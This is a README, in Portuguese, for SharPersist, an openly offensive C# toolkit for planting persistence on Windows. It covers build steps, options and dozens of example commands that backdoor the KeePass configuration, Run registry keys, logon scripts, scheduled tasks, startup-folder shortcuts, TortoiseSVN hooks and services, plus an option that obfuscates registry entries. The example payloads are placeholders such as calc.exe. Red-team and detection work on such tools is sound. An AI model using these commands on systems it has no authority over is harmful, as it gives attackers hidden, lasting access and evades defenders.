SharPersist

Kit de ferramentas de persistência no Windows escrito em C#. Para informações detalhadas de uso sobre cada técnica, consulte a Wiki.

Autor - Brett Hawkins (@h4wkst3r)

Lançamento

• A versão pública 1.0.1 do SharPersist pode ser encontrada na seção Releases

Instalação/Compilação

Pré-compilado

• Use o binário pré-compilado na seção Releases

Compilando Você Mesmo

Siga os passos abaixo para configurar o Visual Studio e compilar o projeto você mesmo. Isso requer algumas bibliotecas .NET que podem ser instaladas pelo gerenciador de pacotes NuGet.

Bibliotecas Utilizadas

As bibliotecas de terceiros abaixo são utilizadas neste projeto.

Passos para Compilar

• Carregue o projeto do Visual Studio e vá em "Ferramentas" --> "Gerenciador de Pacotes NuGet" --> "Configurações do Gerenciador de Pacotes"
• Vá em "Gerenciador de Pacotes NuGet" --> "Fontes de Pacotes"
• Adicione uma fonte de pacotes com a URL "https://api.nuget.org/v3/index.json"
• Instale o pacote NuGet Costura.Fody. A versão mais antiga do Costura.Fody (3.3.3) é necessária, para que você não precise do Visual Studio 2019.
  • Install-Package Costura.Fody -Version 3.3.3
• Instale o pacote TaskScheduler
  • Install-Package TaskScheduler -Version 2.8.11
• Agora você pode compilar o projeto você mesmo!

Argumentos/Opções

• -t - técnica de persistência
• -c - comando a executar
• -a - argumentos para o comando a executar (se aplicável)
• -f - o arquivo a criar/modificar
• -k - chave de registro a criar/modificar
• -v - valor de registro a criar/modificar
• -n - nome da tarefa agendada ou nome do serviço
• -m - método (add, remove, check, list)
• -o - complementos opcionais
• -h - página de ajuda

Técnicas de Persistência (-t)

• keepass - backdoor no arquivo de configuração do keepass
• reg - adição/modificação de chave de registro
• schtaskbackdoor - backdoor em tarefa agendada adicionando uma ação adicional a ela
• startupfolder - arquivo lnk na pasta de inicialização
• tortoisesvn - script de hook do tortoise svn
• service - criar novo serviço do Windows
• schtask - criar nova tarefa agendada

Métodos (-m)

• add - adicionar técnica de persistência
• remove - remover técnica de persistência
• check - executar dry-run da técnica de persistência
• list - listar entradas atuais da técnica de persistência

Complementos Opcionais (-o)

• env - complemento opcional para ofuscação de variáveis de ambiente no registro
• hourly - complemento opcional para frequência de schtask
• daily - complemento opcional para frequência de schtask
• logon - complemento opcional para frequência de schtask

Chaves de Registro (-k)

• hklmrun
• hklmrunonce
• hklmrunonceex
• hkcurun
• hkcurunonce
• logonscript
• stickynotes
• userinit

Exemplos

Adicionando Gatilhos de Persistência (Add)

KeePass

SharPersist -t keepass -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "C:\Users\username\AppData\Roaming\KeePass\KeePass.config.xml" -m add

Registro

SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add

SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m add -o env

SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "logonscript" -m add

Backdoor em Tarefa Agendada

SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m add

Pasta de Inicialização

SharPersist -t startupfolder -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "Some File" -m add

Tortoise SVN

SharPersist -t tortoisesvn -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -m add

Serviço do Windows

SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Service" -m add

Tarefa Agendada

SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c echo 123 >> c:\123.txt" -n "Some Task" -m add

SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c echo 123 >> c:\123.txt" -n "Some Task" -m add -o hourly

Removendo Gatilhos de Persistência (Remove)

KeePass

SharPersist -t keepass -f "C:\Users\username\AppData\Roaming\KeePass\KeePass.config.xml" -m remove

Registro

SharPersist -t reg -k "hkcurun" -v "Test Stuff" -m remove

SharPersist -t reg -k "hkcurun" -v "Test Stuff" -m remove -o env

SharPersist -t reg -k "logonscript" -m remove

Backdoor em Tarefa Agendada

SharPersist -t schtaskbackdoor -n "Something Cool" -m remove

Pasta de Inicialização

SharPersist -t startupfolder -f "Some File" -m remove

Tortoise SVN

SharPersist -t tortoisesvn -m remove

Serviço do Windows

SharPersist -t service -n "Some Service" -m remove

Tarefa Agendada

SharPersist -t schtask -n "Some Task" -m remove

Executando Dry Run do Gatilho de Persistência (Check)

KeePass

SharPersist -t keepass -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "C:\Users\username\AppData\Roaming\KeePass\KeePass.config.xml" -m check

Registro

SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m check

SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "hkcurun" -v "Test Stuff" -m check -o env

SharPersist -t reg -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -k "logonscript" -m check

Backdoor em Tarefa Agendada

SharPersist -t schtaskbackdoor -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Something Cool" -m check

Pasta de Inicialização

SharPersist -t startupfolder -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -f "Some File" -m check

Tortoise SVN

SharPersist -t tortoisesvn -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -m check

Serviço do Windows

SharPersist -t service -c "C:\Windows\System32\cmd.exe" -a "/c calc.exe" -n "Some Service" -m check

Tarefa Agendada

SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c echo 123 >> c:\123.txt" -n "Some Task" -m check

SharPersist -t schtask -c "C:\Windows\System32\cmd.exe" -a "/c echo 123 >> c:\123.txt" -n "Some Task" -m check -o hourly

Listando Entradas de Gatilhos de Persistência (List)

Registro

SharPersist -t reg -k "hkcurun" -m list

Backdoor em Tarefa Agendada

SharPersist -t schtaskbackdoor -m list

SharPersist -t schtaskbackdoor -m list -n "Some Task"

SharPersist -t schtaskbackdoor -m list -o logon

Pasta de Inicialização

SharPersist -t startupfolder -m list

Serviço do Windows

SharPersist -t service -m list

SharPersist -t service -m list -n "Some Service"

Tarefa Agendada

SharPersist -t schtask -m list

SharPersist -t schtask -m list -n "Some Task"

SharPersist -t schtask -m list -o logon